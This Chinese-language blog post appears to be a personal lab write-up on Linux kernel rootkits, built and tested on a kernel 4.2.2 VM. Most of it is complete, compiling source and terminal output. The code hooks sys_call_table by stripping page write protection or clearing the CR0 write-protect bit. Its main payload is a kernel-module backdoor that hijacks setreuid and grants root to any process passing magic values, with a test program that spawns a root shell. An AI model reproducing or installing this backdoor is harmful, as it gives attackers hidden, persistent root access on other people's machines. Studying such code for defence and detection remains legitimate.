r00tk1t init

参考:
http://www.freebuf.com/articles/system/54263.html
https://chirath02.wordpress.com/tag/asmlinkage/
r00tk1t基础实验
https://memset.wordpress.com/2010/12/28/syscall-hijacking-simple-rootkit-kernel-2-6-x/
https://memset.wordpress.com/2011/01/20/syscall-hijacking-dynamically-obtain-syscall-table-address-kernel-2-6-x/
http://www.mallocfree.com/data/compile-linux-kernel-mallocfree.com.pdf
https://ruinedsec.wordpress.com/2013/04/04/modifying-system-calls-dispatching-linux/

What’s this?

关于其概念可以参考维基百科

实验环境

建议不要在物理机下实验~因此我根据这里介绍的情况便去ubuntu的官方网站下载了ubuntu 15.10的i386镜像。然后用VMWare安装ISO,便开始按照里面的指令进行修改和编译。其中增加的系统调用是根据上述的r00tk1t增加的。修改系统调用是主要的方式之一,因此可以借鉴。

编译部分

为了方便可以直接在虚拟机里面切换到root用户,然后键入# apt-get source linux-image-$(uname -r)即可下载虚拟机本内核源代码。然后cp到/usr/src目录,再解压出来。然后安装编译所需要的一些依赖工具。

1
2
3
4
$ sudo apt-get update
$ sudo apt-get build-dep linux-image-$(uname -r)
$ sudo apt-get install kernel-package # for make-kpkg clean
$ sudo apt-get install libncurses-dev # for make menuconfig

再之后按照教程部分增加系统调用,照葫芦画瓢。然后就make menuconfig配置内核编译选项,教程给的是默认(不知道修改是否编译快一些)。而后便可以开始漫长的编译过程了。

1
2
3
4
5
6
7
8
9
10
sudo make
sudo make modules_install˖
sudo make install
sudo mkinitramfs -o /boot/initrd.img-2.6.32.65
sudo update-initramfs -c -k 2.6.32.65
sudo update-grub2
sudo vim /etc/default/grub //注释掉下面的部分
#GRUB_HIDDEN_TIMEOUT=0
sudo update-grub2

上述参考mallocfree的教程。可以使得不用完全覆盖掉原有内核选项而使得grub增加新的选项来供用户选择。
按照教程第一部分部分结果如下:至少我们工程的从内核任务链表中实现了相应的功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@r00t:~# uname -r
4.2.2
root@r00t:~# ps aux | grep sshd
root 655 0.0 0.5 10432 5320 ? Ss 20:13 0:00 /usr/sbin/sshd -D
root 1144 0.0 0.6 13652 6268 ? Ss 20:13 0:00 sshd: r00t [priv]
r00t 1209 0.1 0.2 13652 2948 ? S 20:13 0:00 sshd: r00t@pts/8
root 1248 0.0 0.6 13652 6196 ? Ss 20:14 0:00 sshd: r00t [priv]
r00t 1285 0.0 0.2 13652 2960 ? S 20:14 0:00 sshd: r00t@pts/9
root 1330 0.0 0.2 5972 2308 pts/8 S+ 20:19 0:00 grep --color=auto sshd
root@r00t:~# ./testPname
Enter process to find
sshd
PID = 655
PID = 1144
PID = 1209
PID = 1248
PID = 1285
System call returned 0
root@r00t:~#

LKM

按照freebuf的教程第一个LKM程序编译如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@r00t:~/LKM# make
make -C /lib/modules/4.2.2/build SUBDIRS=/root/LKM modules
make[1]: Entering directory '/usr/src/linux-4.2.2'
CC [M] /root/LKM/lkm.o
Building modules, stage 2.
MODPOST 1 modules
CC /root/LKM/lkm.mod.o
LD [M] /root/LKM/lkm.ko
make[1]: Leaving directory '/usr/src/linux-4.2.2'
root@r00t:~/LKM# insmod lkm.ko
root@r00t:~/LKM# dmesg | tail -n 1
[ 4019.602327] Arciryas:module loaded
root@r00t:~/LKM# lsmod | grep lkm
lkm 16384 0
root@r00t:~/LKM# rmmod lkm.ko
root@r00t:~/LKM# dmesg | tail -n 2
[ 4019.602327] Arciryas:module loaded
[ 4117.988381] Arciryas:module removed
root@r00t:~/LKM#

Kernel Hook

  • 静态的方式获得syscall表的地址

    1
    2
    3
    4
    root@r00t:~# !cat
    cat /boot/System.map-4.2.2 | grep sys_call_table
    c1755140 R sys_call_table
    root@r00t:~#
  • hook代码如下,稍微大概解释以下,内核模块在初始化的时候会检查sys_call_table的内存地址是否可写,一般情况下肯定是不能写的,上面的System.map文件中也看到的,因此程序会检查并通过改写其对应的内存页读写属性来强行修改表借此来hook。在模块卸载的时候又将原来的地址修改回来。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    root@r00t:~/LKM/pname# cat captainhook.c
    #include <asm/unistd.h>
    #include <asm/cacheflush.h>
    #include <linux/init.h>
    #include <linux/module.h>
    #include <linux/kernel.h>
    #include <linux/syscalls.h>
    #include <asm/pgtable_types.h>
    #include <linux/highmem.h>
    #include <linux/fs.h>
    #include <linux/sched.h>
    #include <linux/moduleparam.h>
    #include <linux/unistd.h>
    #include <asm/cacheflush.h>
    MODULE_LICENSE("GPL");
    MODULE_AUTHOR("rutk1t0r");
    /*MY sys_call_table address*/
    //c1755140
    void **system_call_table_addr;
    /*my custom syscall that takes process name*/
    asmlinkage int (*custom_syscall) (char* name);
    /*hook*/
    asmlinkage int captain_hook(char* play_here) {
    /*do whatever here (print "HAHAHA", reverse their string, etc)
    But for now we will just print to the dmesg log*/
    printk(KERN_INFO "Pname Syscall:HOOK! HOOK! HOOK! HOOK!...ROOOFFIIOO!");
    return custom_syscall(play_here);
    }
    /*Make page writeable*/
    int make_rw(unsigned long address){
    unsigned int level;
    pte_t *pte = lookup_address(address, &level);
    if(pte->pte &~_PAGE_RW){
    pte->pte |=_PAGE_RW;
    }
    return 0;
    }
    /* Make the page write protected */
    int make_ro(unsigned long address){
    unsigned int level;
    pte_t *pte = lookup_address(address, &level);
    pte->pte = pte->pte &~_PAGE_RW;
    return 0;
    }
    static int __init entry_point(void){
    printk(KERN_INFO "Captain Hook loaded successfully..\n");
    /*MY sys_call_table address*/
    system_call_table_addr = (void*)0xc1755140;
    /* Replace custom syscall with the correct system call name (write,open,etc) to hook*/
    custom_syscall = system_call_table_addr[__NR_pname];
    /*Disable page protection*/
    make_rw((unsigned long)system_call_table_addr);
    /*Change syscall to our syscall function*/
    system_call_table_addr[__NR_pname] = captain_hook;
    return 0;
    }
    static int __exit exit_point(void){
    printk(KERN_INFO "Unloaded Captain Hook successfully\n");
    /*Restore original system call */
    system_call_table_addr[__NR_pname] = custom_syscall;
    /*Renable page protection*/
    make_ro((unsigned long)system_call_table_addr);
    return 0;
    }
    module_init(entry_point);
    module_exit(exit_point);
  • 结果如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    root@r00t:~/LKM/pname# insmod captainhook.ko
    root@r00t:~/LKM/pname# cd
    root@r00t:~# ./testPname
    Enter process to find
    sshd
    PID = 655
    PID = 1144
    PID = 1209
    PID = 1248
    PID = 1285
    System call returned 0
    root@r00t:~# rmmod captainhook
    root@r00t:~#
    ## dmesg中输出如下:
    [ 1月13 21:49] Captain Hook loaded successfully..
    [ 1月13 21:50] Pname Syscall:HOOK! HOOK! HOOK! HOOK!...ROOOFFIIOO!
    [ +11.875845] Unloaded Captain Hook successfully

动态获取系统调用表

依照这篇文章复制过来的代码以及编译运行的结果如下,对于我的虚拟机ubuntu 15.10的4.2.2的内核而言,我修改了模块代码的两个地方(因为这两个地方报错)。第一处是kmalloc和kfree函数未实现,因此加入#include <linux/slab.h>头文件即可。第二处是new结构体指针的uid和gid几个字段赋值强转失败,查看源码后改为宏GLOBAL_ROOT_UIDGLOBAL_ROOT_GID即可。而以下代码的大体意思就是动态地在模块被加载的时候hook掉setreuid系统调用,硬编码写死一个触发条件if ((ruid == 7310) && (euid == 0137))即应用层传递过来的参数如果满足即可根据cred来获取root权限。因此如果被种植类似这样的后门是很危险的,只要低权限账户运行test程序即可获取root权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
r00t@r00t:~/Linux_kernel/LKM/Dynamical_Get_SysCallTable$ ls
kernel_sys.c Makefile test.c
r00t@r00t:~/Linux_kernel/LKM/Dynamical_Get_SysCallTable$ cat kernel_sys.c
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
#include <linux/sched.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/syscalls.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/fcntl.h>
#include <asm/uaccess.h>
#include <linux/version.h>
#include <linux/syscalls.h>
#include <linux/slab.h>
#define PROC_V "/proc/version"
#define BOOT_PATH "/boot/System.map-"
#define MAX_LEN 256
unsigned long *syscall_table;
int sys_found = 0;
asmlinkage int (* orig_setreuid) (uid_t ruid, uid_t euid);
asmlinkage int new_setreuid (uid_t ruid, uid_t euid) {
struct cred *new;
if ((ruid == 7310) && (euid == 0137)) {
printk(KERN_ALERT "[Correct] \n");
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
current->uid = current -> gid = 0;
current -> euid = current -> egid = 0;
current -> suid = current -> sgid = 0;
current -> fsuid = current -> fsgid = 0;
#else
new = prepare_creds();
if ( new != NULL ) {
new->uid = GLOBAL_ROOT_UID;
new->gid = GLOBAL_ROOT_GID;
new->euid = GLOBAL_ROOT_UID;
new->egid = GLOBAL_ROOT_GID;
new->suid = GLOBAL_ROOT_UID;
new->sgid = GLOBAL_ROOT_GID;
new->fsuid = GLOBAL_ROOT_UID;
new->fsgid = GLOBAL_ROOT_GID;
commit_creds(new);
}
#endif
return orig_setreuid (0, 0);
}
return orig_setreuid (ruid, euid);
}
char *search_file(char *buf) {
struct file *f;
char *ver;
mm_segment_t oldfs;
oldfs = get_fs();
set_fs (KERNEL_DS);
f = filp_open(PROC_V, O_RDONLY, 0);
if ( IS_ERR(f) || ( f == NULL )) {
return NULL;
}
memset(buf, 0, MAX_LEN);
vfs_read(f, buf, MAX_LEN, &f->f_pos);
ver = strsep(&buf, " ");
ver = strsep(&buf, " ");
ver = strsep(&buf, " ");
filp_close(f, 0);
set_fs(oldfs);
return ver;
}
static int find_sys_call_table (char *kern_ver)
{
char buf[MAX_LEN];
int i = 0;
char *filename;
char *p;
struct file *f = NULL;
mm_segment_t oldfs;
oldfs = get_fs();
set_fs (KERNEL_DS);
filename = kmalloc(strlen(kern_ver)+strlen(BOOT_PATH)+1, GFP_KERNEL);
if ( filename == NULL ) {
return -1;
}
memset(filename, 0, strlen(BOOT_PATH)+strlen(kern_ver)+1);
strncpy(filename, BOOT_PATH, strlen(BOOT_PATH));
strncat(filename, kern_ver, strlen(kern_ver));
printk(KERN_ALERT "\nPath %s\n", filename);
f = filp_open(filename, O_RDONLY, 0);
if ( IS_ERR(f) || ( f == NULL )) {
return -1;
}
memset(buf, 0x0, MAX_LEN);
p = buf;
while (vfs_read(f, p+i, 1, &f->f_pos) == 1) {
if ( p[i] == '\n' || i == 255 ) {
i = 0;
if ( (strstr(p, "sys_call_table")) != NULL ) {
char *sys_string;
sys_string = kmalloc(MAX_LEN, GFP_KERNEL);
if ( sys_string == NULL ) {
filp_close(f, 0);
set_fs(oldfs);
kfree(filename);
return -1;
}
memset(sys_string, 0, MAX_LEN);
strncpy(sys_string, strsep(&p, " "), MAX_LEN);
syscall_table = (unsigned long long *) simple_strtoll(sys_string, NULL, 16);
kfree(sys_string);
break;
}
memset(buf, 0x0, MAX_LEN);
continue;
}
i++;
}
filp_close(f, 0);
set_fs(oldfs);
kfree(filename);
return 0;
}
static int init(void) {
char *kern_ver;
char *buf;
buf = kmalloc(MAX_LEN, GFP_KERNEL);
if ( buf == NULL ) {
sys_found = 1;
return -1;
}
printk(KERN_ALERT "\nHIJACK INIT\n");
kern_ver = search_file(buf);
if ( kern_ver == NULL ) {
sys_found = 1;
return -1;
}
printk(KERN_ALERT "Kernel version found: %s\n", kern_ver);
if ( find_sys_call_table(kern_ver) == -1 ) {
sys_found = 1;
return -1;
}
sys_found = 0;
write_cr0 (read_cr0 () & (~ 0x10000));
orig_setreuid = syscall_table[__NR_setreuid32];
syscall_table[__NR_setreuid32] = new_setreuid;
write_cr0 (read_cr0 () | 0x10000);
kfree(buf);
return 0;
}
static void exit(void) {
if ( sys_found == 0 ) {
write_cr0 (read_cr0 () & (~ 0x10000));
syscall_table[__NR_setreuid32] = orig_setreuid;
write_cr0 (read_cr0 () | 0x10000);
}
printk(KERN_ALERT "\nHIJACK EXIT\n");
return;
}
module_init(init);
module_exit(exit);
r00t@r00t:~/Linux_kernel/LKM/Dynamical_Get_SysCallTable$ make
make -C /lib/modules/4.2.2/build SUBDIRS=/home/r00t/Linux_kernel/LKM/Dynamical_Get_SysCallTable modules
make[1]: Entering directory '/usr/src/linux-4.2.2'
CC [M] /home/r00t/Linux_kernel/LKM/Dynamical_Get_SysCallTable/kernel_sys.o
/home/r00t/Linux_kernel/LKM/Dynamical_Get_SysCallTable/kernel_sys.c: In function ‘find_sys_call_table’:
/home/r00t/Linux_kernel/LKM/Dynamical_Get_SysCallTable/kernel_sys.c:171:33: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
syscall_table = (unsigned long long *) simple_strtoll(sys_string, NULL, 16);
^
/home/r00t/Linux_kernel/LKM/Dynamical_Get_SysCallTable/kernel_sys.c:171:31: warning: assignment from incompatible pointer type [-Wincompatible-pointer-types]
syscall_table = (unsigned long long *) simple_strtoll(sys_string, NULL, 16);
^
/home/r00t/Linux_kernel/LKM/Dynamical_Get_SysCallTable/kernel_sys.c: In function ‘init’:
/home/r00t/Linux_kernel/LKM/Dynamical_Get_SysCallTable/kernel_sys.c:231:19: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
orig_setreuid = syscall_table[__NR_setreuid32];
^
/home/r00t/Linux_kernel/LKM/Dynamical_Get_SysCallTable/kernel_sys.c:232:36: warning: assignment makes integer from pointer without a cast [-Wint-conversion]
syscall_table[__NR_setreuid32] = new_setreuid;
^
/home/r00t/Linux_kernel/LKM/Dynamical_Get_SysCallTable/kernel_sys.c: In functionexit’:
/home/r00t/Linux_kernel/LKM/Dynamical_Get_SysCallTable/kernel_sys.c:247:40: warning: assignment makes integer from pointer without a cast [-Wint-conversion]
syscall_table[__NR_setreuid32] = orig_setreuid;
^
Building modules, stage 2.
MODPOST 1 modules
CC /home/r00t/Linux_kernel/LKM/Dynamical_Get_SysCallTable/kernel_sys.mod.o
LD [M] /home/r00t/Linux_kernel/LKM/Dynamical_Get_SysCallTable/kernel_sys.ko
make[1]: Leaving directory '/usr/src/linux-4.2.2'
r00t@r00t:~/Linux_kernel/LKM/Dynamical_Get_SysCallTable$ cat test.c
#include <stdio.h>
int main () {
setreuid (7310, 0137);
system ("/bin/sh");
return 0;
}
r00t@r00t:~/Linux_kernel/LKM/Dynamical_Get_SysCallTable$ id
uid=1000(r00t) gid=1000(r00t) groups=1000(r00t),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
r00t@r00t:~/Linux_kernel/LKM/Dynamical_Get_SysCallTable$ ls
kernel_sys.c kernel_sys.mod.c kernel_sys.o modules.order test.c
kernel_sys.ko kernel_sys.mod.o Makefile Module.symvers
r00t@r00t:~/Linux_kernel/LKM/Dynamical_Get_SysCallTable$ sudo insmod kernel_sys.ko
r00t@r00t:~/Linux_kernel/LKM/Dynamical_Get_SysCallTable$ dmesg | tail -n 4
HIJACK INIT
[ 2537.374798] Kernel version found: 4.2.2
[ 2537.374802]
Path /boot/System.map-4.2.2
r00t@r00t:~/Linux_kernel/LKM/Dynamical_Get_SysCallTable$ gcc -o test test.c
test.c: In function ‘main’:
test.c:5:9: warning: implicit declaration of function ‘setreuid’ [-Wimplicit-function-declaration]
setreuid (7310, 0137);
^
test.c:6:9: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
system ("/bin/sh");
^
r00t@r00t:~/Linux_kernel/LKM/Dynamical_Get_SysCallTable$ ./test
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),1000(r00t)
#

总结

后续实验应该会参照谷大神的教程继续学习,关于其防范策略目前还没有什么非常好用的方法,只能靠管理员多注意了。在后渗透测试阶段此隐蔽性非常强,特别是内核级的相对于应用级的更加难以发现,其中有一个应用级的用bash实现的可以参考学习